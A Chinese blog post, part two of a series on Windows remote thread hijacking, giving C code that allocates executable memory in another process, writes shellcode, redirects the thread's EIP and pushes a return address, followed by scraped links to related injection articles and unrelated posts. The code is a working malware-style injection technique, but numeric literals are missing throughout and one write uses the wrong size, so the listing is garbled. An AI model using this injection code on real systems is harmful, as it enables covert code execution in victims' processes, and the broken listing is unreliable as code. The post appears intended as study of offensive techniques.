https://www.cnblogs.com/theseventhson/p/13218651.html   上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程supend之前的地址继续执行原线程的代码了?当时想的动态获取context中eip的地址,再把push eip 转成机器码,最后放到shellcode的头部。由于shellcode是C3(ret)结尾了,自然会把栈顶的4字节弹出来赋值给EIP,达到回到原线程代码继续执行的目的。但实际操作时,地址往往会带00,转成字符串操作时会被截断,导致返回地址错误,程序最终“跑飞”,不知道运行到哪去了。这种方式现在就卡这了:要想尽一切办法把返回地址写入栈顶

刚开始的思路是拿到目标进程的DirTableBae,赋值给当前CR3,达到进程切换的目的,然后通过sub esp,4;  mov [esp], eip; 把eip写道栈顶;但实际操作时,在3环暂时未发现获取目标进程CR3的方法,这种思路暂时无法落地;最后还是靠着WriteProcessMemory把eip写入栈顶。shellcode注入部分代码更改如下:

其他没变,增加了两行:ctx.Esp = ctx.Esp - 4;    WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL);

BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
printf("shellcode address:%p\n", shellAddress);
if (shellAddress == NULL)
{
printf("VirtualAlloc Error\n");
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
ResumeThread(hThread);
return FALSE;
} WOW64_CONTEXT ctx = { };
ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx))
{
int a = GetLastError();
printf("GetThreadContext Error:%d\n", a);
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
ResumeThread(hThread);
return FALSE;
} DWORD currentEIP = ctx.Eip;
DWORD currentESP = ctx.Esp;
if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
ctx.Esp = ctx.Esp - ;//分配4字节的空间,用来存放shellcode执行后的返回地址,也就是currentEIP,如下:
printf("ctx.Esp:%p\n", ctx.Esp);
printf("return address:%p\n", currentEIP);
if (WriteProcessMemory(hProcess, (LPVOID)ctx.Esp, &currentEIP, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
if (!Wow64SetThreadContext(hThread, &ctx))
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("set thread context error\n");
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}

  效果如下:确实弹出了messageBox:

process hacker查看:shellcode成功写入:

  

  返回地址也成功写入:

  

最后:推荐一个歪果仁总结的进程注入方法,非常详细,墙裂推荐:

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

windows:shellcode 远程线程hook/注入(二)的更多相关文章

  1. windows:shellcode 远程线程hook/注入(一)

    https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode.这么做有个前提条件:目标线程 ...

  2. windows:shellcode 远程线程hook/注入(三)

    今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...

  3. windows:shellcode 远程线程hook/注入(五)

    前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...

  4. windows:shellcode 远程线程hook/注入(四)

    https://www.cnblogs.com/theseventhson/p/13236421.html  这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...

  5. 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。

    windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...

  6. 使用远程线程来注入DLL

    使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...

  7. 【windows核心编程】远程线程DLL注入

    15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...

  8. 实现远程线程DLL注入

    ### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...

  9. Dll注入:X86/X64 远程线程CreateRemoteThread 注入

    远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...

随机推荐

  1. MVC中model、dao、view、controlller、service之间的关系

    Model:是事物的模型,如Person.java,定义人的属性行为.pojo,OR maping,持久层 Dao:是持久化操作代码编写处,与数据库对接,如对Person进行增删改查. Service ...

  2. 「疫期集训day4」硝烟

    那真是一阵恐怖的炮击(that boomed booms),响亮的炮音(that noise),滚滚的硝烟(that smoke),熊熊的火焰在围绕着我们前进...小心前进(go and be car ...

  3. [POJ1852] Ants(思维题)

    题干 An army of ants walk on a horizontal pole of length l cm, each with a constant speed of 1 cm/s. W ...

  4. Docker-教你如何通过 Docker 快速搭建各种测试环境

    今天给大家分享的主题是,如何通过 Docker 快速搭建各种测试环境,本文列举的,也是作者在工作中经常用到的,其中包括 MySQL.Redis.Elasticsearch.MongoDB 安装步骤,通 ...

  5. 线下---复习day01

    目录 1 个人介绍 2 关于编辑器 3 基础串讲 3.1 解释型和编译型 3.2 数据类型 3.2.1 一切皆对象 3.2.1 深浅copy 3.2.3 可变类型与不可变类型 3.3 字符编码 3.4 ...

  6. meta viewport相关

    <!DOCTYPE html> H5标准声明,使用 HTML5 doctype,不区分大小写 <head lang=”en”> 标准的 lang 属性写法 <meta c ...

  7. 蜂鸟E203系列——Linux调试(GDB+Openocd)

    欲观原文,请君移步 本文基于文章<蜂鸟E203系列--利用 Hbrid-E-SDK 环境开发程序> GDB 简介 GDB(GNU Project Debugger),是 GNU 工具链中的 ...

  8. 【RPA Starter第三课】第一个Uipath项目:HelloWord

    最后是一个小项目,开启使用Uipath.Uipath云平台,Uipath Orchestrator,Uipath Studio,发布项目.怎么启动机器人.都有详细的步骤. Uipath 的账号是通用的 ...

  9. OSCP Learning Notes - Buffer Overflows(1)

    Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver -  ...

  10. Burp Suite Sequencer Modules - 定序器模块

    Sequencer 主要用于处理和分析Tokens 目标网站:http://testaspnet.vulnweb.com/ (1)通过代理,拦截数据流. (2)Send to Sequencer,然后 ...